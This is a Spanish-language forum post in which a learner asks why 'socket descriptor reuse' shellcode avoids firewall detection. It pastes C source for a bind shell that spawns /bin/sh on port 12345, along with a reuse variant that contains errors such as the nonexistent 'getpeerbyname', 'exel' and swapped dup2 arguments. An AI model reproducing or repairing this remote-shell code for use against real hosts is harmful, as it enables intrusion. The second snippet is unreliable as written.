Muy buenas gente,
Sabéis que existe un tipo de shellcode llamada "Port binding Shellcode", no? Pues esta shellcode es muy rudimentaria y si un firewall tiene como política denegar todo no se nos permitirá conectar al puerto, y por consiguiente, lanzar la shell. Aquí un ejemplo:
1 int main(void)
2 {
3 int new, sockfd = socket(AF_INET, SOCK_STREAM, 0);
4 struct sockaddr_in sin;
5 sin.sin_family = AF_INET;
6 sin.sin_addr.s_addr = 0;
7 sin.sin_port = htons(12345);
8 bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));
9 listen(sockfd, 5);
10 new = accept(sockfd, NULL, 0);
11 for(i = 2; i >= 0; i--)
12 dup2(new, i);
13 execl("/bin/sh", "sh", NULL);
14 }
Así pues, he encontrado la alternativa a esta shellcode. La llamada "Socket descriptor reuse shellcode". El código es el siguiente:
int main (void){
int i, j;
j= sizeof(sockaddr_in);
for (i = 0; i<256; i++) {
if (getpeerbyname(i, &sin,&j) < 0)
continue;
if(sin.sin_port == htons(port))
break;
}
for (j=0;j<2;j++)
dup2(j,i);
exel("/bin/sh", "sh", NULL);
}
Esta en vez de crear un nuevo socket aprovecha uno ya creado y esto nos permite no ser detectados...
El problema es que no entiendo porqué con este código no somos detectados.
He intentado buscar la función getpeerbyname pero no he encontrado nada bueno.
No entiendo porqué no creamos otro socket. Se supone que el exploit se ejecuta en nuestra máquina, no? Y hace una petición de conexión a la de la víctima y esta, por la vulnerabilidad, la acepta por cualquier cosa... Entonces como vamos a aprovechar un socket hacia su máquina???
Quizá es un poco complicado o no me he explicado bien... En blackhat-forums no me han sabido/podido/querido contestar. Espero tener un poco más de suerte aquí.
Gracias!!